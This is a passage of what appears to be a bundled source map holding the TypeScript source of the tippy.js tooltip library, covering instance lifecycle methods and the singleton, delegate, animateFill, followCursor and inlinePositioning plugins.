void {\n if (instance.popperInstance) {\n instance.popperInstance.destroy();\n instance.popperInstance = null;\n }\n }\n\n function mount(): void {\n const {appendTo} = instance.props;\n\n let parentNode: any;\n\n // By default, we'll append the popper to the triggerTargets's parentNode so\n // it's directly after the reference element so the elements inside the\n // tippy can be tabbed to\n // If there are clipping issues, the user can specify a different appendTo\n // and ensure focus management is handled correctly manually\n const node = getCurrentTarget();\n\n if (\n (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO) ||\n appendTo === 'parent'\n ) {\n parentNode = node.parentNode;\n } else {\n parentNode = invokeWithArgsOrReturn(appendTo, [node]);\n }\n\n // The popper element needs to exist on the DOM before its position can be\n // updated as Popper needs to read its dimensions\n if (!parentNode.contains(popper)) {\n parentNode.appendChild(popper);\n }\n\n instance.state.isMounted = true;\n\n createPopperInstance();\n\n /* istanbul ignore else */\n if (__DEV__) {\n // Accessibility check\n warnWhen(\n instance.props.interactive &&\n appendTo === defaultProps.appendTo &&\n node.nextElementSibling !== popper,\n [\n 'Interactive tippy element may not be accessible via keyboard',\n 'navigation because it is not directly after the reference element',\n 'in the DOM source order.',\n '\\n\\n',\n 'Using a wrapper <div> or <span> tag around the reference element',\n 'solves this by creating a new parentNode context.',\n '\\n\\n',\n 'Specifying `appendTo: document.body` silences this warning, but it',\n 'assumes you are using a focus management solution to handle',\n 'keyboard navigation.',\n '\\n\\n',\n 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity',\n ].join(' ')\n );\n }\n }\n\n function getNestedPopperTree(): PopperElement[] {\n return arrayFrom(\n popper.querySelectorAll('[data-__NAMESPACE_PREFIX__-root]')\n );\n }\n\n function scheduleShow(event?: Event): void {\n instance.clearDelayTimeouts();\n\n if (event) {\n invokeHook('onTrigger', [instance, event]);\n }\n\n addDocumentPress();\n\n let delay = getDelay(true);\n const [touchValue, touchDelay] = getNormalizedTouchSettings();\n\n if (currentInput.isTouch && touchValue === 'hold' && touchDelay) {\n delay = touchDelay;\n }\n\n if (delay) {\n showTimeout = setTimeout(() => {\n instance.show();\n }, delay);\n } else {\n instance.show();\n }\n }\n\n function scheduleHide(event: Event): void {\n instance.clearDelayTimeouts();\n\n invokeHook('onUntrigger', [instance, event]);\n\n if (!instance.state.isVisible) {\n removeDocumentPress();\n\n return;\n }\n\n // For interactive tippies, scheduleHide is added to a document.body handler\n // from onMouseLeave so must intercept scheduled hides from mousemove/leave\n // events when trigger contains mouseenter and click, and the tip is\n // currently shown as a result of a click.\n if (\n instance.props.trigger.indexOf('mouseenter') >= 0 &&\n instance.props.trigger.indexOf('click') >= 0 &&\n ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 &&\n isVisibleFromClick\n ) {\n return;\n }\n\n const delay = getDelay(false);\n\n if (delay) {\n hideTimeout = setTimeout(() => {\n if (instance.state.isVisible) {\n instance.hide();\n }\n }, delay);\n } else {\n // Fixes a `transitionend` problem when it fires 1 frame too\n // late sometimes, we don't want hide() to be called.\n scheduleHideAnimationFrame = requestAnimationFrame(() => {\n instance.hide();\n });\n }\n }\n\n // ===========================================================================\n // 🔑 Public methods\n // ===========================================================================\n function enable(): void {\n instance.state.isEnabled = true;\n }\n\n function disable(): void {\n // Disabling the instance should also hide it\n // https://github.com/atomiks/tippy.js-react/issues/106\n instance.hide();\n instance.state.isEnabled = false;\n }\n\n function clearDelayTimeouts(): void {\n clearTimeout(showTimeout);\n clearTimeout(hideTimeout);\n cancelAnimationFrame(scheduleHideAnimationFrame);\n }\n\n function setProps(partialProps: Partial<Props>): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n invokeHook('onBeforeUpdate', [instance, partialProps]);\n\n removeListeners();\n\n const prevProps = instance.props;\n const nextProps = evaluateProps(reference, {\n ...prevProps,\n ...removeUndefinedProps(partialProps),\n ignoreAttributes: true,\n });\n\n instance.props = nextProps;\n\n addListeners();\n\n if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) {\n cleanupInteractiveMouseListeners();\n debouncedOnMouseMove = debounce(\n onMouseMove,\n nextProps.interactiveDebounce\n );\n }\n\n // Ensure stale aria-expanded attributes are removed\n if (prevProps.triggerTarget && !nextProps.triggerTarget) {\n normalizeToArray(prevProps.triggerTarget).forEach((node) => {\n node.removeAttribute('aria-expanded');\n });\n } else if (nextProps.triggerTarget) {\n reference.removeAttribute('aria-expanded');\n }\n\n handleAriaExpandedAttribute();\n handleStyles();\n\n if (onUpdate) {\n onUpdate(prevProps, nextProps);\n }\n\n if (instance.popperInstance) {\n createPopperInstance();\n\n // Fixes an issue with nested tippies if they are all getting re-rendered,\n // and the nested ones get re-rendered first.\n // https://github.com/atomiks/tippyjs-react/issues/177\n // TODO: find a cleaner / more efficient solution(!)\n getNestedPopperTree().forEach((nestedPopper) => {\n // React (and other UI libs likely) requires a rAF wrapper as it flushes\n // its work in one\n requestAnimationFrame(nestedPopper._tippy!.popperInstance!.forceUpdate);\n });\n }\n\n invokeHook('onAfterUpdate', [instance, partialProps]);\n }\n\n function setContent(content: Content): void {\n instance.setProps({content});\n }\n\n function show(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show'));\n }\n\n // Early bail-out\n const isAlreadyVisible = instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const isTouchAndTouchDisabled =\n currentInput.isTouch && !instance.props.touch;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 0,\n defaultProps.duration\n );\n\n if (\n isAlreadyVisible ||\n isDestroyed ||\n isDisabled ||\n isTouchAndTouchDisabled\n ) {\n return;\n }\n\n // Normalize `disabled` behavior across browsers.\n // Firefox allows events on disabled elements, but Chrome doesn't.\n // Using a wrapper element (i.e. <span>) is recommended.\n if (getCurrentTarget().hasAttribute('disabled')) {\n return;\n }\n\n invokeHook('onShow', [instance], false);\n if (instance.props.onShow(instance) === false) {\n return;\n }\n\n instance.state.isVisible = true;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'visible';\n }\n\n handleStyles();\n addDocumentPress();\n\n if (!instance.state.isMounted) {\n popper.style.transition = 'none';\n }\n\n // If flipping to the opposite side after hiding at least once, the\n // animation will use the wrong placement without resetting the duration\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], 0);\n }\n\n onFirstUpdate = (): void => {\n if (!instance.state.isVisible || ignoreOnFirstUpdate) {\n return;\n }\n\n ignoreOnFirstUpdate = true;\n\n // reflow\n void popper.offsetHeight;\n\n popper.style.transition = instance.props.moveTransition;\n\n if (getIsDefaultRenderFn() && instance.props.animation) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'visible');\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n pushIfUnique(mountedInstances, instance);\n\n // certain modifiers (e.g. `maxSize`) require a second update after the\n // popper has been positioned for the first time\n instance.popperInstance?.forceUpdate();\n\n invokeHook('onMount', [instance]);\n\n if (instance.props.animation && getIsDefaultRenderFn()) {\n onTransitionedIn(duration, () => {\n instance.state.isShown = true;\n invokeHook('onShown', [instance]);\n });\n }\n };\n\n mount();\n }\n\n function hide(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide'));\n }\n\n // Early bail-out\n const isAlreadyHidden = !instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 1,\n defaultProps.duration\n );\n\n if (isAlreadyHidden || isDestroyed || isDisabled) {\n return;\n }\n\n invokeHook('onHide', [instance], false);\n if (instance.props.onHide(instance) === false) {\n return;\n }\n\n instance.state.isVisible = false;\n instance.state.isShown = false;\n ignoreOnFirstUpdate = false;\n isVisibleFromClick = false;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'hidden';\n }\n\n cleanupInteractiveMouseListeners();\n removeDocumentPress();\n handleStyles(true);\n\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n\n if (instance.props.animation) {\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'hidden');\n }\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n if (instance.props.animation) {\n if (getIsDefaultRenderFn()) {\n onTransitionedOut(duration, instance.unmount);\n }\n } else {\n instance.unmount();\n }\n }\n\n function hideWithInteractivity(event: MouseEvent): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(\n instance.state.isDestroyed,\n createMemoryLeakWarning('hideWithInteractivity')\n );\n }\n\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n pushIfUnique(mouseMoveListeners, debouncedOnMouseMove);\n debouncedOnMouseMove(event);\n }\n\n function unmount(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount'));\n }\n\n if (instance.state.isVisible) {\n instance.hide();\n }\n\n if (!instance.state.isMounted) {\n return;\n }\n\n destroyPopperInstance();\n\n // If a popper is not interactive, it will be appended outside the popper\n // tree by default. This seems mainly for interactive tippies, but we should\n // find a workaround if possible\n getNestedPopperTree().forEach((nestedPopper) => {\n nestedPopper._tippy!.unmount();\n });\n\n if (popper.parentNode) {\n popper.parentNode.removeChild(popper);\n }\n\n mountedInstances = mountedInstances.filter((i) => i !== instance);\n\n instance.state.isMounted = false;\n invokeHook('onHidden', [instance]);\n }\n\n function destroy(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n instance.clearDelayTimeouts();\n instance.unmount();\n\n removeListeners();\n\n delete reference._tippy;\n\n instance.state.isDestroyed = true;\n\n invokeHook('onDestroy', [instance]);\n }\n}\n","import bindGlobalEventListeners, {\n currentInput,\n} from './bindGlobalEventListeners';\nimport createTippy, {mountedInstances} from './createTippy';\nimport {getArrayOfElements, isElement, isReferenceElement} from './dom-utils';\nimport {defaultProps, setDefaultProps, validateProps} from './props';\nimport {HideAll, HideAllOptions, Instance, Props, Targets} from './types';\nimport {validateTargets, warnWhen} from './validation';\n\nfunction tippy(\n targets: Targets,\n optionalProps: Partial<Props> = {}\n): Instance | Instance[] {\n const plugins = defaultProps.plugins.concat(optionalProps.plugins || []);\n\n /* istanbul ignore else */\n if (__DEV__) {\n validateTargets(targets);\n validateProps(optionalProps, plugins);\n }\n\n bindGlobalEventListeners();\n\n const passedProps: Partial<Props> = {...optionalProps, plugins};\n\n const elements = getArrayOfElements(targets);\n\n /* istanbul ignore else */\n if (__DEV__) {\n const isSingleContentElement = isElement(passedProps.content);\n const isMoreThanOneReferenceElement = elements.length > 1;\n warnWhen(\n isSingleContentElement && isMoreThanOneReferenceElement,\n [\n 'tippy() was passed an Element as the `content` prop, but more than',\n 'one tippy instance was created by this invocation. This means the',\n 'content element will only be appended to the last tippy instance.',\n '\\n\\n',\n 'Instead, pass the .innerHTML of the element, or use a function that',\n 'returns a cloned version of the element instead.',\n '\\n\\n',\n '1) content: element.innerHTML\\n',\n '2) content: () => element.cloneNode(true)',\n ].join(' ')\n );\n }\n\n const instances = elements.reduce<Instance[]>(\n (acc, reference): Instance[] => {\n const instance = reference && createTippy(reference, passedProps);\n\n if (instance) {\n acc.push(instance);\n }\n\n return acc;\n },\n []\n );\n\n return isElement(targets) ? instances[0] : instances;\n}\n\ntippy.defaultProps = defaultProps;\ntippy.setDefaultProps = setDefaultProps;\ntippy.currentInput = currentInput;\n\nexport default tippy;\n\nexport const hideAll: HideAll = ({\n exclude: excludedReferenceOrInstance,\n duration,\n}: HideAllOptions = {}) => {\n mountedInstances.forEach((instance) => {\n let isExcluded = false;\n\n if (excludedReferenceOrInstance) {\n isExcluded = isReferenceElement(excludedReferenceOrInstance)\n ? instance.reference === excludedReferenceOrInstance\n : instance.popper === (excludedReferenceOrInstance as Instance).popper;\n }\n\n if (!isExcluded) {\n const originalDuration = instance.props.duration;\n\n instance.setProps({duration});\n instance.hide();\n\n if (!instance.state.isDestroyed) {\n instance.setProps({duration: originalDuration});\n }\n }\n });\n};\n","import tippy from '..';\nimport {div} from '../dom-utils';\nimport {\n CreateSingleton,\n Plugin,\n CreateSingletonProps,\n ReferenceElement,\n CreateSingletonInstance,\n Instance,\n Props,\n} from '../types';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\nimport {applyStyles, Modifier} from '@popperjs/core';\n\n// The default `applyStyles` modifier has a cleanup function that gets called\n// every time the popper is destroyed (i.e. a new target), removing the styles\n// and causing transitions to break for singletons when the console is open, but\n// most notably for non-transform styles being used, `gpuAcceleration: false`.\nconst applyStylesModifier: Modifier<'applyStyles', Record<string, unknown>> = {\n ...applyStyles,\n effect({state}) {\n const initialStyles = {\n popper: {\n position: state.options.strategy,\n left: '0',\n top: '0',\n margin: '0',\n },\n arrow: {\n position: 'absolute',\n },\n reference: {},\n };\n\n Object.assign(state.elements.popper.style, initialStyles.popper);\n state.styles = initialStyles;\n\n if (state.elements.arrow) {\n Object.assign(state.elements.arrow.style, initialStyles.arrow);\n }\n\n // intentionally return no cleanup function\n // return () => { ... }\n },\n};\n\nconst createSingleton: CreateSingleton = (\n tippyInstances,\n optionalProps = {}\n) => {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !Array.isArray(tippyInstances),\n [\n 'The first argument passed to createSingleton() must be an array of',\n 'tippy instances. The passed value was',\n String(tippyInstances),\n ].join(' ')\n );\n }\n\n let individualInstances = tippyInstances;\n let references: Array<ReferenceElement> = [];\n let triggerTargets: Array<Element> = [];\n let currentTarget: Element | null;\n let overrides = optionalProps.overrides;\n let interceptSetPropsCleanups: Array<() => void> = [];\n let shownOnCreate = false;\n\n function setTriggerTargets(): void {\n triggerTargets = individualInstances\n .map((instance) =>\n normalizeToArray(instance.props.triggerTarget || instance.reference)\n )\n .reduce((acc, item) => acc.concat(item), []);\n }\n\n function setReferences(): void {\n references = individualInstances.map((instance) => instance.reference);\n }\n\n function enableInstances(isEnabled: boolean): void {\n individualInstances.forEach((instance) => {\n if (isEnabled) {\n instance.enable();\n } else {\n instance.disable();\n }\n });\n }\n\n function interceptSetProps(singleton: Instance): Array<() => void> {\n return individualInstances.map((instance) => {\n const originalSetProps = instance.setProps;\n\n instance.setProps = (props): void => {\n originalSetProps(props);\n\n if (instance.reference === currentTarget) {\n singleton.setProps(props);\n }\n };\n\n return (): void => {\n instance.setProps = originalSetProps;\n };\n });\n }\n\n // have to pass singleton, as it maybe undefined on first call\n function prepareInstance(\n singleton: Instance,\n target: ReferenceElement\n ): void {\n const index = triggerTargets.indexOf(target);\n\n // bail-out\n if (target === currentTarget) {\n return;\n }\n\n currentTarget = target;\n\n const overrideProps: Partial<Props> = (overrides || [])\n .concat('content')\n .reduce((acc, prop) => {\n (acc as any)[prop] = individualInstances[index].props[prop];\n return acc;\n }, {});\n\n singleton.setProps({\n ...overrideProps,\n getReferenceClientRect:\n typeof overrideProps.getReferenceClientRect === 'function'\n ? overrideProps.getReferenceClientRect\n : (): ClientRect => references[index]?.getBoundingClientRect(),\n });\n }\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n\n const plugin: Plugin = {\n fn() {\n return {\n onDestroy(): void {\n enableInstances(true);\n },\n onHidden(): void {\n currentTarget = null;\n },\n onClickOutside(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n currentTarget = null;\n }\n },\n onShow(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n prepareInstance(instance, references[0]);\n }\n },\n onTrigger(instance, event): void {\n prepareInstance(instance, event.currentTarget as Element);\n },\n };\n },\n };\n\n const singleton = tippy(div(), {\n ...removeProperties(optionalProps, ['overrides']),\n plugins: [plugin, ...(optionalProps.plugins || [])],\n triggerTarget: triggerTargets,\n popperOptions: {\n ...optionalProps.popperOptions,\n modifiers: [\n ...(optionalProps.popperOptions?.modifiers || []),\n applyStylesModifier,\n ],\n },\n }) as CreateSingletonInstance<CreateSingletonProps>;\n\n const originalShow = singleton.show;\n\n singleton.show = (target?: ReferenceElement | Instance | number): void => {\n originalShow();\n\n // first time, showOnCreate or programmatic call with no params\n // default to showing first instance\n if (!currentTarget && target == null) {\n return prepareInstance(singleton, references[0]);\n }\n\n // triggered from event (do nothing as prepareInstance already called by onTrigger)\n // programmatic call with no params when already visible (do nothing again)\n if (currentTarget && target == null) {\n return;\n }\n\n // target is index of instance\n if (typeof target === 'number') {\n return (\n references[target] && prepareInstance(singleton, references[target])\n );\n }\n\n // target is a child tippy instance\n if (individualInstances.indexOf(target as Instance) >= 0) {\n const ref = (target as Instance).reference;\n return prepareInstance(singleton, ref);\n }\n\n // target is a ReferenceElement\n if (references.indexOf(target as ReferenceElement) >= 0) {\n return prepareInstance(singleton, target as ReferenceElement);\n }\n };\n\n singleton.showNext = (): void => {\n const first = references[0];\n if (!currentTarget) {\n return singleton.show(0);\n }\n const index = references.indexOf(currentTarget);\n singleton.show(references[index + 1] || first);\n };\n\n singleton.showPrevious = (): void => {\n const last = references[references.length - 1];\n if (!currentTarget) {\n return singleton.show(last);\n }\n const index = references.indexOf(currentTarget);\n const target = references[index - 1] || last;\n singleton.show(target);\n };\n\n const originalSetProps = singleton.setProps;\n\n singleton.setProps = (props): void => {\n overrides = props.overrides || overrides;\n originalSetProps(props);\n };\n\n singleton.setInstances = (nextInstances): void => {\n enableInstances(true);\n interceptSetPropsCleanups.forEach((fn) => fn());\n\n individualInstances = nextInstances;\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n singleton.setProps({triggerTarget: triggerTargets});\n };\n\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n return singleton;\n};\n\nexport default createSingleton;\n","import tippy from '..';\nimport {TOUCH_OPTIONS} from '../constants';\nimport {defaultProps} from '../props';\nimport {Instance, Props, Targets} from '../types';\nimport {ListenerObject} from '../types-internal';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\n\nconst BUBBLING_EVENTS_MAP = {\n mouseover: 'mouseenter',\n focusin: 'focus',\n click: 'click',\n};\n\n/**\n * Creates a delegate instance that controls the creation of tippy instances\n * for child elements (`target` CSS selector).\n */\nfunction delegate(\n targets: Targets,\n props: Partial<Props> & {target: string}\n): Instance | Instance[] {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !(props && props.target),\n [\n 'You must specity a `target` prop indicating a CSS selector string matching',\n 'the target elements that should receive a tippy.',\n ].join(' ')\n );\n }\n\n let listeners: ListenerObject[] = [];\n let childTippyInstances: Instance[] = [];\n let disabled = false;\n\n const {target} = props;\n\n const nativeProps = removeProperties(props, ['target']);\n const parentProps = {...nativeProps, trigger: 'manual', touch: false};\n const childProps = {\n touch: defaultProps.touch,\n ...nativeProps,\n showOnCreate: true,\n };\n\n const returnValue = tippy(targets, parentProps);\n const normalizedReturnValue = normalizeToArray(returnValue);\n\n function onTrigger(event: Event): void {\n if (!event.target || disabled) {\n return;\n }\n\n const targetNode = (event.target as Element).closest(target);\n\n if (!targetNode) {\n return;\n }\n\n // Get relevant trigger with fallbacks:\n // 1. Check `data-tippy-trigger` attribute on target node\n // 2. Fallback to `trigger` passed to `delegate()`\n // 3. Fallback to `defaultProps.trigger`\n const trigger =\n targetNode.getAttribute('data-tippy-trigger') ||\n props.trigger ||\n defaultProps.trigger;\n\n // @ts-ignore\n if (targetNode._tippy) {\n return;\n }\n\n if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') {\n return;\n }\n\n if (\n event.type !== 'touchstart' &&\n trigger.indexOf((BUBBLING_EVENTS_MAP as any)[event.type]) < 0\n ) {\n return;\n }\n\n const instance = tippy(targetNode, childProps);\n\n if (instance) {\n childTippyInstances = childTippyInstances.concat(instance);\n }\n }\n\n function on(\n node: Element,\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n }\n\n function addEventListeners(instance: Instance): void {\n const {reference} = instance;\n\n on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS);\n on(reference, 'mouseover', onTrigger);\n on(reference, 'focusin', onTrigger);\n on(reference, 'click', onTrigger);\n }\n\n function removeEventListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function applyMutations(instance: Instance): void {\n const originalDestroy = instance.destroy;\n const originalEnable = instance.enable;\n const originalDisable = instance.disable;\n\n instance.destroy = (shouldDestroyChildInstances = true): void => {\n if (shouldDestroyChildInstances) {\n childTippyInstances.forEach((instance) => {\n instance.destroy();\n });\n }\n\n childTippyInstances = [];\n\n removeEventListeners();\n originalDestroy();\n };\n\n instance.enable = (): void => {\n originalEnable();\n childTippyInstances.forEach((instance) => instance.enable());\n disabled = false;\n };\n\n instance.disable = (): void => {\n originalDisable();\n childTippyInstances.forEach((instance) => instance.disable());\n disabled = true;\n };\n\n addEventListeners(instance);\n }\n\n normalizedReturnValue.forEach(applyMutations);\n\n return returnValue;\n}\n\nexport default delegate;\n","import {BACKDROP_CLASS} from '../constants';\nimport {div, setVisibilityState} from '../dom-utils';\nimport {getChildren} from '../template';\nimport {AnimateFill} from '../types';\nimport {errorWhen} from '../validation';\n\nconst animateFill: AnimateFill = {\n name: 'animateFill',\n defaultValue: false,\n fn(instance) {\n // @ts-ignore\n if (!instance.props.render?.$$tippy) {\n if (__DEV__) {\n errorWhen(\n instance.props.animateFill,\n 'The `animateFill` plugin requires the default render function.'\n );\n }\n\n return {};\n }\n\n const {box, content} = getChildren(instance.popper);\n\n const backdrop = instance.props.animateFill\n ? createBackdropElement()\n : null;\n\n return {\n onCreate(): void {\n if (backdrop) {\n box.insertBefore(backdrop, box.firstElementChild!);\n box.setAttribute('data-animatefill', '');\n box.style.overflow = 'hidden';\n\n instance.setProps({arrow: false, animation: 'shift-away'});\n }\n },\n onMount(): void {\n if (backdrop) {\n const {transitionDuration} = box.style;\n const duration = Number(transitionDuration.replace('ms', ''));\n\n // The content should fade in after the backdrop has mostly filled the\n // tooltip element. `clip-path` is the other alternative but is not\n // well-supported and is buggy on some devices.\n content.style.transitionDelay = `${Math.round(duration / 10)}ms`;\n\n backdrop.style.transitionDuration = transitionDuration;\n setVisibilityState([backdrop], 'visible');\n }\n },\n onShow(): void {\n if (backdrop) {\n backdrop.style.transitionDuration = '0ms';\n }\n },\n onHide(): void {\n if (backdrop) {\n setVisibilityState([backdrop], 'hidden');\n }\n },\n };\n },\n};\n\nexport default animateFill;\n\nfunction createBackdropElement(): HTMLDivElement {\n const backdrop = div();\n backdrop.className = BACKDROP_CLASS;\n setVisibilityState([backdrop], 'hidden');\n return backdrop;\n}\n","import {getOwnerDocument, isMouseEvent} from '../dom-utils';\nimport {FollowCursor, Instance} from '../types';\n\nlet mouseCoords = {clientX: 0, clientY: 0};\nlet activeInstances: Array<{instance: Instance; doc: Document}> = [];\n\nfunction storeMouseCoords({clientX, clientY}: MouseEvent): void {\n mouseCoords = {clientX, clientY};\n}\n\nfunction addMouseCoordsListener(doc: Document): void {\n doc.addEventListener('mousemove', storeMouseCoords);\n}\n\nfunction removeMouseCoordsListener(doc: Document): void {\n doc.removeEventListener('mousemove', storeMouseCoords);\n}\n\nconst followCursor: FollowCursor = {\n name: 'followCursor',\n defaultValue: false,\n fn(instance) {\n const reference = instance.reference;\n const doc = getOwnerDocument(instance.props.triggerTarget || reference);\n\n let isInternalUpdate = false;\n let wasFocusEvent = false;\n let isUnmounted = true;\n let prevProps = instance.props;\n\n function getIsInitialBehavior(): boolean {\n return (\n instance.props.followCursor === 'initial' && instance.state.isVisible\n );\n }\n\n function addListener(): void {\n doc.addEventListener('mousemove', onMouseMove);\n }\n\n function removeListener(): void {\n doc.removeEventListener('mousemove', onMouseMove);\n }\n\n function unsetGetReferenceClientRect(): void {\n isInternalUpdate = true;\n instance.setProps({getReferenceClientRect: null});\n isInternalUpdate = false;\n }\n\n function onMouseMove(event: MouseEvent): void {\n // If the instance is interactive, avoid updating the position unless it's\n // over the reference element\n const isCursorOverReference = event.target\n ? reference.contains(event.target as Node)\n : true;\n const {followCursor} = instance.props;\n const {clientX, clientY} = event;\n\n const rect = reference.getBoundingClientRect();\n const relativeX = clientX - rect.left;\n const relativeY = clientY - rect.top;\n\n if (isCursorOverReference || !instance.props.interactive) {\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect() {\n const rect = reference.getBoundingClientRect();\n\n let x = clientX;\n let y = clientY;\n\n if (followCursor === 'initial') {\n x = rect.left + relativeX;\n y = rect.top + relativeY;\n }\n\n const top = followCursor === 'horizontal' ? rect.top : y;\n const right = followCursor === 'vertical' ? rect.right : x;\n const bottom = followCursor === 'horizontal' ? rect.bottom : y;\n const left = followCursor === 'vertical' ? rect.left : x;\n\n return {\n width: right - left,\n height: bottom - top,\n top,\n right,\n bottom,\n left,\n };\n },\n });\n }\n }\n\n function create(): void {\n if (instance.props.followCursor) {\n activeInstances.push({instance, doc});\n addMouseCoordsListener(doc);\n }\n }\n\n function destroy(): void {\n activeInstances = activeInstances.filter(\n (data) => data.instance !== instance\n );\n\n if (activeInstances.filter((data) => data.doc === doc).length === 0) {\n removeMouseCoordsListener(doc);\n }\n }\n\n return {\n onCreate: create,\n onDestroy: destroy,\n onBeforeUpdate(): void {\n prevProps = instance.props;\n },\n onAfterUpdate(_, {followCursor}): void {\n if (isInternalUpdate) {\n return;\n }\n\n if (\n followCursor !== undefined &&\n prevProps.followCursor !== followCursor\n ) {\n destroy();\n\n if (followCursor) {\n create();\n\n if (\n instance.state.isMounted &&\n !wasFocusEvent &&\n !getIsInitialBehavior()\n ) {\n addListener();\n }\n } else {\n removeListener();\n unsetGetReferenceClientRect();\n }\n }\n },\n onMount(): void {\n if (instance.props.followCursor && !wasFocusEvent) {\n if (isUnmounted) {\n onMouseMove(mouseCoords as MouseEvent);\n isUnmounted = false;\n }\n\n if (!getIsInitialBehavior()) {\n addListener();\n }\n }\n },\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n mouseCoords = {clientX: event.clientX, clientY: event.clientY};\n }\n wasFocusEvent = event.type === 'focus';\n },\n onHidden(): void {\n if (instance.props.followCursor) {\n unsetGetReferenceClientRect();\n removeListener();\n isUnmounted = true;\n }\n },\n };\n },\n};\n\nexport default followCursor;\n","import {Modifier, Placement} from '@popperjs/core';\nimport {isMouseEvent} from '../dom-utils';\nimport {BasePlacement, InlinePositioning, Props} from '../types';\nimport {arrayFrom, getBasePlacement} from '../utils';\n\nfunction getProps(props: Props, modifier: Modifier<any, any>): Partial<Props> {\n return {\n popperOptions: {\n ...props.popperOptions,\n modifiers: [\n ...(props.popperOptions?.modifiers || []).filter(\n ({name}) => name !== modifier.name\n ),\n modifier,\n ],\n },\n };\n}\n\nconst inlinePositioning: InlinePositioning = {\n name: 'inlinePositioning',\n defaultValue: false,\n fn(instance) {\n const {reference} = instance;\n\n function isEnabled(): boolean {\n return !!instance.props.inlinePositioning;\n }\n\n let placement: Placement;\n let cursorRectIndex = -1;\n let isInternalUpdate = false;\n let triedPlacements: Array<string> = [];\n\n const modifier: Modifier<\n 'tippyInlinePositioning',\n Record<string, unknown>\n > = {\n name: 'tippyInlinePositioning',\n enabled: true,\n phase: 'afterWrite',\n fn({state}) {\n if (isEnabled()) {\n if (triedPlacements.indexOf(state.placement) !== -1) {\n triedPlacements = [];\n }\n\n if (\n placement !== state.placement &&\n triedPlacements.indexOf(state.placement) === -1\n ) {\n triedPlacements.push(state.placement);\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect: () =>\n getReferenceClientRect(state.placement),\n });\n }\n\n placement = state.placement;\n }\n },\n };\n\n function getReferenceClientRect(placement: Placement): Partial<DOMRect> {\n return getInlineBoundingClientRect(\n getBasePlacement(placement),\n reference.getBoundingClientRect(),\n arrayFrom(reference.getClientRects()),\n cursorRectIndex\n );\n }\n\n function setInternalProps(partialProps: Partial<Props>): void {\n isInternalUpdate = true;\n instance.setProps(partialProps);\n isInternalUpdate = false;\n }\n\n function addModifier(): void {\n if (!isInternalUpdate) {\n setInternalProps(getProps(instance.props, modifier));\n }\n }\n\n return {\n onCreate: addModifier,\n onAfterUpdate: addModifier,\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n const rects = arrayFrom(instance.reference.getClientRects());\n const cursorRect = rects.find(\n (rect) =>\n rect.left - 2 <= event.clientX &&\n rect.right + 2 >= event.clientX &&\n rect.top - 2 <= event.clientY &&\n rect.bottom + 2 >= event.clientY\n );\n const index = rects.indexOf(cursorRect);\n cursorRectIndex = index > -1 ? index : cursorRectIndex;\n }\n },\n onHidden(): void {\n cursorRectIndex = -1;\n },\n };\n },\n};\n\nexport default inlinePositioning;\n\nexport function getInlineBoundingClientRect(\n currentBasePlacement: BasePlacement | null,\n boundingRect: DOMRect,\n clientRects: DOMRect[],\n cursorRectIndex: number\n): {\n top: number;\n bottom: number;\n left: number;\n right: number;\n width: number;\n height: number;\n} {\n // Not an inline element, or placement is not yet known\n if (clientRects.length < 2 || currentBasePlacement === null) {\n return boundingRect;\n }\n\n // There are two rects and they are disjoined\n if (\n clientRects.length === 